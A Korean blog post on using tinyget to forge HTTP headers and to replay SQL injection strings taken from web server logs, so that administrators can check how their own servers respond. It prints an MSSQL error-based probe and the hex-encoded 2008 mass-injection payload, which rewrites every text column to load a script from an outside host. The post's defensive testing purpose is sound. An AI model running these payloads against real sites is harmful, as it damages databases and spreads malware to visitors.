얼마 전에 tinyget을 이용한 웹 서비스 점검하기라는 글을 올렸다. tinyget이 아주 단순한 프로그램이지만, 사용자가 하나하나 명령어를 치면서 웹 서버의 반응을 볼 수 있다는 점에서 여러가지 용도로 사용될 수 있다. 한 서버에 다수의 서비스가 있다면 –rh 옵션을 이용하여 쿠키나 사용자 브라우저의 문자열도 얼마든지 변조가 가능하다. 말보다는 예제를 보자. 

위와 같이 실행하면 USER-AGENT와 Cookie, Referer, Host가 헤더값에 들어간 것을 볼 수 있다. 그렇다면 웹 로그에는 어떻게 남았을지 대충 감이 온다. 한번 실제 로그를 보자. 

어떤가? 위의 값을 보니 접속한 사용자를 신뢰할 수 있겠는가? 그럼 조금 더 확장을 해서 웹서버 로그를 보다보면 궁금했던 내용을 한번 실행해보자. 수많은 웹사이트에 있는 내용 중에서 공통으로 만날 수 있는 예제는 바로 웹 해킹을 위한 코드들 중에서 골라봤다. 

' AND (SELECT CHAR(94)+CAST(COUNT(1) AS VARCHAR(100))+CHAR(94) FROM [MASTER]..[SYSDATABASES])>0 AND ''='

 위의 샘플은 실제 운영중인 서버에서 찾아낸 웹 해킹에 사용되는 코드로 빈칸 때문에 바로 붙여 넣기를 하면 오류가 뜬다. 따라서 적절하게 변형을 해줘야 하는데, 빈칸을 %20으로 변경하고 특수 기호가 이상하게 인식되지 않도록 하면 된다. 

 안전한 사이트라면 HTTP/1.1 404 Not Found나 에러가 발생했다는 막연한 메시지만 발생하고 자세한 오류 메시지는 보이지 않는다. 하드웨어 웹방화벽이 있다면 아예 응답이 없을 수도 있다. 하지만 2008년 가을부터 시작된 Mass SQL Injection은 기존의 파라메터 값을 일부 이용하고 주로 쿠키를 이용한다. 한번 쿠키도 변조를 해보자. 역시 예제는 웹서버 로그에서 뽑은 내용으로 웹해킹시 쓰였던 로그의 일부다. 

※ 글 작성 후 저장하니 보안 설정으로 인하여 '(0x' 이후의 내용이 잘려나가서 표기가 되지 않는다. 따라서 운영하고 있는 웹서버의 로그를 찾아서 테스트 서버에서 실험해보도록 하자

;DECLARE @S VARCHAR(4000) SET @S=CAST(0X4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F73312E6361776A622E636F6D2F6B722E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS VARCHAR(4000));EXEC(@S);--

위 내용을 tinyget이 해석할 수 있게끔 변경을 하면...

정도가 되겠다. 위 문장은 테스트를 위해 쓰인 데이터베이스와 구조가 완벽하게 같지 않다면 오류가 발생해야 정상이다. 하지만, 오류 내용이 UPDATE 실패했다거나 데이터베이스 형식이 맞지 않는다는 식의 내용이 남았다면, 변형을 통해서 얼마든지 해킹이 가능한 것을 보여주고 있으므로 문제가 있다고 할 수 있다. 어떤 오류가 발생하는지 보여주는 것보다는 오류를 보여주지 않는 것이 좋고, 오류를 보여주지 않는 것 보다는 아예 이런 요청이 데이터베이스까지 도달하지 않게 해주는 것이 좋다. 웹소스와 웹서버를 수정하여 이런 처리할 것인지 웹방화벽을 사용하여 처리할 것인지는 정책을 정하도록 해라. 대형 포털나 은행이 웹서버의 오류 발생시 아무 생각없이 별도의 장애 페이지를 보여주는 것이 아니다.